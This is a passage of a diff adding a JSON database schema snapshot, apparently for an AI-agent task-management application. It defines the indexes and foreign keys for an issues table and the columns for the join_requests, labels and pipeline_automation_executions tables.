+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
